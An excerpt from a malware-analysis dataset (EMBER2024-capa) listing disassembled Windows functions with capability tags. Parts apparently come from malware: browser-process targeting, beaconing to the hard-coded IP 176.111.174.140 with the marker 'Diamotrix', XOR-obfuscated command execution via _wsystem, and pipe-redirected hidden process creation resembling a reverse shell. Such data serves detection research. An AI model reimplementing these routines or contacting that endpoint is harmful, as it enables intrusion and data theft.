joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001a860
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x140
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.180006fd4
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [0x18003e6c8]
lea rcx, [rsp + 0x30]
call qword [0x18003e6d0]
lea rdx, str.explorer.exe
mov rcx, rax
mov rbx, rax
call qword [0x18003e748]
test eax, eax
jne 0x18001a8e2
call fcn.180006870
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x18002f4de]
lea r8, [0x180015664]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.180007640
lea rdx, str.firefox.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18001a900
call fcn.180006870
call fcn.180018654
lea rdx, str.chrome.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18001a91e
call fcn.180006870
call fcn.18000d5f8
lea rdx, str.msedge.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18001a93c
call fcn.180006870
call fcn.18000d720
lea rdx, str.opera.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18001a95c
call fcn.180006870
call fcn.18000d844
jmp 0x18001a97f
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x18002f4de]
lea r8, [0x180015664]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
add rsp, 0x140
pop rbx
ret
Function at 0x18001b2dc
Capabilities:
Connect socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x168]
sub rsp, 0x250
and qword [rbp + 0x178], 0
mov r14, rcx
lea rdx, [rbp - 0x50]
or r15, 0xffffffffffffffff
mov ecx, 0x202
mov rdi, r15
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18001b32c
lea eax, [r15 + 2]
jmp 0x18001b4e2
xor edx, edx
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x30]
call fcn.180006fd4
lea r9, [rbp + 0x178]
lea r8, [rsp + 0x20]
lea rdx, str.8968
lea rcx, str.176.111.174.140
mov esi, 1
mov dword [rsp + 0x24], 2
mov dword [rsp + 0x2c], 6
mov dword [rsp + 0x28], esi
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18001b3a8
lea r9, [rbp + 0x178]
lea r8, [rsp + 0x20]
lea rdx, str.8967
lea rcx, str.176.111.174.140
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18001b3a8
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18001b4e0
mov rbx, qword [rbp + 0x178]
test rbx, rbx
je 0x18001b3fe
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, r15
je 0x18001b39d
mov r8d, dword [rbx + 0x10]
mov rdx, qword [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, r15d
jne 0x18001b3f7
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
mov rdi, r15
test rbx, rbx
jne 0x18001b3b4
mov rbx, qword [rbp + 0x178]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, r15
je 0x18001b39d
xor r9d, r9d
lea rdx, str.Diamotrix
mov rcx, rdi
lea r8d, [r9 + 9]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, r15d
jne 0x18001b436
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18001b39d
lea rdx, str.Diamotrix
lea rcx, [rsp + 0x70]
call fcn.1800010e8
lea rcx, [rbp - 0x70]
mov rdx, r14
call fcn.1800010e8
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.1800046b0
lea rcx, [rbp - 0x70]
call fcn.1800011bc
lea rcx, [rsp + 0x70]
call fcn.1800011bc
lea rcx, [rsp + 0x50]
call fcn.180012f94
lea rcx, [rsp + 0x50]
mov rbx, rax
call fcn.180004c68
xor r9d, r9d
mov r8d, ebx
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rdi
cmp eax, r15d
je 0x18001b4ba
mov edx, esi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rdi
cmp eax, r15d
jne 0x18001b4c8
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18001b4d6
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor esi, esi
lea rcx, [rsp + 0x50]
call fcn.1800011bc
mov eax, esi
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140003420
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rsp + 0x40], rax
cmp qword [rcx + 0x18], 7
mov rbx, rdx
mov dword [rsp + 0x38], 1
jbe 0x14000344e
mov rcx, qword [rcx]
lea rax, [rsp + 0x30]
mov rdx, rcx
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, eax
test eax, eax
jne 0x1400034b7
cmp qword [rbx + 0x18], 7
jbe 0x140003481
mov rbx, qword [rbx]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
sete al
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000abd0
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x1400034e0
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x110
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov rdi, rcx
xor ebx, ebx
movabs rsi, 0x130a6c15e46fe2a1
movabs r15, 0xfea0a424b2bd939
movabs r12, 0x4b4cc45ce9573055
movabs r13, 0x156371d96dff8087
movabs r14, 0x1d0aef04ed677912
mov qword [rbp], r15
movabs rcx, 0xe02b998b84b0f81f
mov rax, qword [rbp]
movabs rdx, 0xf810a314b4ad94d
mov qword [rbp + 0x20], rax
movabs r8, 0x4b20c430e93e303e
mov qword [rbp], r12
movabs r9, 0x1543719f6dd080a7
mov rax, qword [rbp]
movabs r10, 0xe00b99c684f9f830
mov qword [rbp + 0x28], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x60]
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], rdx
lea rdx, [rbp + 0x20]
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r8
mov r8, rdi
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
mov qword [rbp + 0xa8], rax
vmovdqa xmm2, xmmword [rbp + 0xa0]
vxorps xmm2, xmm2, xmmword [rbp + 0x40]
vmovdqa xmmword [rbp + 0x40], xmm2
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.140007e30
cmp qword [rbp + 0x78], 7
lea rcx, [rbp + 0x60]
cmova rcx, qword [rbp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x1400036ab
mov rcx, qword [rbp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036a6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036e6
call fcn.14000af3c
inc ebx
cmp ebx, 5
jl 0x140003550
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.14000abd0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14000a1ec
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000a226
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14000a22b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14000a274
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14000d460]
cmp byte [rcx + rax], 0
je 0x14000a274
dec r8
sub rdx, 1
jne 0x14000a25a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14000b858
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000b8a2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000b8a2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000b8a2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000b8a2
cmp dword [rcx + 0x84], 0xe
jbe 0x14000b8a2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000b8a4
xor al, al
add rsp, 0x28
ret
Function at 0x140011041
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x140028800
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14004723a]
call fcn.140011ded
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x130]
cmp dword [rbp + 4], eax
jge 0x140028892
mov eax, dword [rbp + 4]
mov ecx, dword [rbp + 0x130]
sub ecx, eax
mov eax, ecx
movsxd rcx, dword [rbp + 4]
mov rdx, qword [rbp + 0x128]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rax, qword [rbp + 0x120]
mov rcx, qword [rax + 0x2250]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0xffffffff
jne 0x140028883
xor al, al
jmp 0x140028894
mov eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
jmp 0x140028830
mov al, 1
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140011190
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001e660
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140047037]
call fcn.140011ded
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x14001e6b7
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001e7c3
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14001e75c
cmp qword [rbp + 0x28], 0
jle 0x14001e75c
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14001e6fc
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140011d20
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x14001e7b2
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x14001e7b2
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400112a3
Capabilities:
Delete file

Disassembly:
jmp 0x140023c30
push rbp
push rdi
sub rsp, 0x3d8
lea rbp, [rsp + 0x20]
mov dword [rbp + 0x364], 0
lea rcx, [0x14004714c]
call fcn.140011ded
lea rcx, [rbp + 0x188]
call fcn.140011a1e
mov qword [rbp + 0x378], rax
mov rdx, qword [rbp + 0x378]
lea rcx, [0x14003e788]
call fcn.14001141f
lea rcx, [rbp + 0x188]
call fcn.1400112f8
lea rcx, [rbp + 0x1c8]
call fcn.1400114b5
mov qword [rbp + 0x378], rax
mov rdx, qword [rbp + 0x378]
lea rcx, [0x14003e7b0]
call fcn.14001141f
lea rcx, [rbp + 0x1c8]
call fcn.1400112f8
lea rax, [rbp + 0x208]
mov qword [rbp + 0x248], rax
lea rdx, [0x14003e7b0]
mov rcx, qword [rbp + 0x248]
call fcn.140011221
mov qword [rbp + 0x378], rax
mov rdx, qword [rbp + 0x378]
lea rcx, [rbp + 0x268]
call fcn.140011262
mov qword [rbp + 0x380], rax
mov rdx, qword [rbp + 0x380]
lea rcx, [0x14003e7d8]
call fcn.14001141f
lea rcx, [rbp + 0x268]
call fcn.1400112f8
cmp qword [0x14003e780], 0
je 0x140023d54
mov eax, 1
imul rax, rax, 0
mov rcx, qword [0x14003e780]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140023d54
movzx eax, byte [0x14003e822]
test eax, eax
je 0x140023d54
mov rcx, qword [0x14003e780]
call qword [sym.imp.ucrtbased.dll_remove]
movzx eax, byte [0x14003e820]
test eax, eax
je 0x140023d77
call fcn.140011f1e
movzx eax, al
test eax, eax
jne 0x140023d77
call fcn.1400112e4
mov byte [0x14003e778], 1
movzx eax, byte [0x14003e823]
test eax, eax
je 0x140023ecc
call fcn.140011816
movzx eax, al
test eax, eax
jne 0x140023ecc
movzx eax, byte [0x14003e820]
test eax, eax
je 0x140023ded
lea rdx, [0x14003e7d8]
lea rcx, [rbp + 0x2a8]
call fcn.140011cc1
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x380], rax
mov eax, dword [rbp + 0x364]
or eax, 1
mov dword [rbp + 0x364], eax
mov rcx, qword [rbp + 0x380]
call fcn.140011500
mov qword [rbp + 0x388], rax
jmp 0x140023e37
lea rdx, [0x14003e788]
lea rcx, [rbp + 0x2e8]
call fcn.140011cc1
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x398], rax
mov eax, dword [rbp + 0x364]
or eax, 2
mov dword [rbp + 0x364], eax
mov rcx, qword [rbp + 0x398]
call fcn.140011500
mov qword [rbp + 0x388], rax
lea rdx, [0x14003e850]
lea rcx, [rbp + 0x328]
call fcn.140011cc1
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x3a8], rax
mov rcx, qword [rbp + 0x3a8]
call fcn.140011500
xor r8d, r8d
mov rdx, qword [rbp + 0x388]
mov rcx, rax
call fcn.140011843
nop
lea rcx, [rbp + 0x328]
call fcn.140011c21
nop
mov eax, dword [rbp + 0x364]
and eax, 2
test eax, eax
je 0x140023eac
and dword [rbp + 0x364], 0xfffffffd
lea rcx, [rbp + 0x2e8]
call fcn.140011c21
nop
mov eax, dword [rbp + 0x364]
and eax, 1
test eax, eax
je 0x140023ecc
and dword [rbp + 0x364], 0xfffffffe
lea rcx, [rbp + 0x2a8]
call fcn.140011c21
call fcn.140011cb7
movzx eax, byte [0x14003e778]
lea rsp, [rbp + 0x3b8]
pop rdi
pop rbp
ret
Function at 0x140011366
Capabilities:
Check if file exists
Get file attributes

Disassembly:
jmp 0x140023410
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14004714c]
call fcn.140011ded
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x140023449
xor al, al
jmp 0x14002344b
mov al, 1
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x1400113f7
Capabilities:
Initialize winsock library
Terminate process

Disassembly:
jmp 0x1400178c0
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x7a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2e8]
mov rax, qword [0x14003e018]
xor rax, rbp
mov qword [rbp + 0x298], rax
lea rcx, [0x14004703d]
call fcn.140011ded
mov rax, qword [rbp + 0x2c0]
mov rcx, rax
call fcn.14001166d
mov eax, 0x102
mov word [rbp + 0x1c4], ax
lea rdx, [rbp + 0x10]
movzx ecx, word [rbp + 0x1c4]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14001794b
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov rcx, qword [rbp + 0x2c8]
call fcn.140011177
mov rcx, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [rbp + 0x2c0]
mov dword [rcx + 0x225c], eax
movzx ecx, word [rbp + 0x2d0]
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rbp + 0x2c0]
mov word [rcx + 0x225a], ax
mov eax, 2
mov rcx, qword [rbp + 0x2c0]
mov word [rcx + 0x2258], ax
mov rax, qword [rbp + 0x2c0]
mov qword [0x14003e720], rax
mov rcx, qword [rbp + 0x2c8]
call fcn.1400112f8
mov rax, qword [rbp + 0x2c0]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140034ad0]
call fcn.140011bb3
mov rax, rdi
mov rcx, qword [rbp + 0x298]
xor rcx, rbp
call fcn.140011730
lea rsp, [rbp + 0x2a8]
pop rdi
pop rbp
ret

Function at 0x140011410
Capabilities:
Receive data
Receive data on socket

Disassembly:
jmp 0x140028730
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14004723a]
call fcn.140011ded
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x130]
cmp dword [rbp + 4], eax
jge 0x1400287c2
mov eax, dword [rbp + 4]
mov ecx, dword [rbp + 0x130]
sub ecx, eax
mov eax, ecx
movsxd rcx, dword [rbp + 4]
mov rdx, qword [rbp + 0x128]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rax, qword [rbp + 0x120]
mov rcx, qword [rax + 0x2250]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0xffffffff
jne 0x1400287b3
xor al, al
jmp 0x1400287c4
mov eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
jmp 0x140028760
mov al, 1
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400114ce
Capabilities:
Create process on windows

Disassembly:
jmp 0x14001f1a0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x218]
mov rax, qword [0x14003e018]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x140047090]
call fcn.140011ded
mov dword [rbp + 0xc4], 0
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 8]
call fcn.140011ab9
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.140011ab9
mov dword [rbp + 0x40], 0x68
mov rax, qword [rbp + 0x1c0]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0x1c0]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x1c0]
mov rax, qword [rax]
mov qword [rbp + 0x90], rax
mov eax, dword [rbp + 0x7c]
bts eax, 8
mov dword [rbp + 0x7c], eax
mov rcx, qword [rbp + 0x1c8]
call fcn.140011177
lea rcx, [rbp + 8]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
jne 0x14001f2ce
xor edx, edx
mov ecx, 3
call fcn.14001182a
jmp 0x14001f2e2
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 8]
mov qword [0x14003e760], rax
mov rax, qword [rbp + 0x10]
mov qword [0x14003e768], rax
mov rcx, qword [rbp + 0x1c8]
call fcn.1400112f8
lea rcx, [rbp - 0x50]
lea rdx, [0x140035d20]
call fcn.140011bb3
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.140011730
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x1400116b8
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
jmp 0x14001ecd0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x140047090]
call fcn.140011ded
mov rax, qword [rbp + 0x140]
mov qword [rax], 0
mov rax, qword [rbp + 0x140]
mov qword [rax + 8], 0
mov rax, qword [rbp + 0x140]
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x140]
mov qword [rax + 0x18], 0
mov rax, qword [rbp + 0x140]
mov dword [rax + 0x20], 0x18
mov rax, qword [rbp + 0x140]
mov dword [rax + 0x30], 1
mov rax, qword [rbp + 0x140]
mov qword [rax + 0x28], 0
mov rax, qword [rbp + 0x140]
add rax, 0x20
mov rcx, qword [rbp + 0x140]
add rcx, 0x18
mov rdx, qword [rbp + 0x140]
add rdx, 0x10
mov qword [rbp + 0x118], rdx
xor r9d, r9d
mov r8, rax
mov rdx, rcx
mov rax, qword [rbp + 0x118]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x14001edab
xor edx, edx
mov ecx, 3
call fcn.14001182a
xor r8d, r8d
mov edx, 1
mov rax, qword [rbp + 0x140]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x14001edd4
xor edx, edx
mov ecx, 3
call fcn.14001182a
mov rax, qword [rbp + 0x140]
add rax, 0x20
mov rcx, qword [rbp + 0x140]
add rcx, 8
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x118], rdx
xor r9d, r9d
mov r8, rax
mov rdx, rcx
mov rax, qword [rbp + 0x118]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x14001ee21
xor edx, edx
mov ecx, 3
call fcn.14001182a
xor r8d, r8d
mov edx, 1
mov rax, qword [rbp + 0x140]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x14001ee4a
xor edx, edx
mov ecx, 3
call fcn.14001182a
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x108], rax
mov rdx, qword [rbp + 0x148]
mov rcx, qword [rbp + 0x108]
call fcn.140011221
mov qword [rbp + 0x118], rax
mov rdx, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x140]
call fcn.1400114ce
mov rax, qword [rbp + 0x140]
mov qword [0x14003e750], rax
mov rcx, qword [rbp + 0x148]
call fcn.1400112f8
mov rax, qword [rbp + 0x140]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret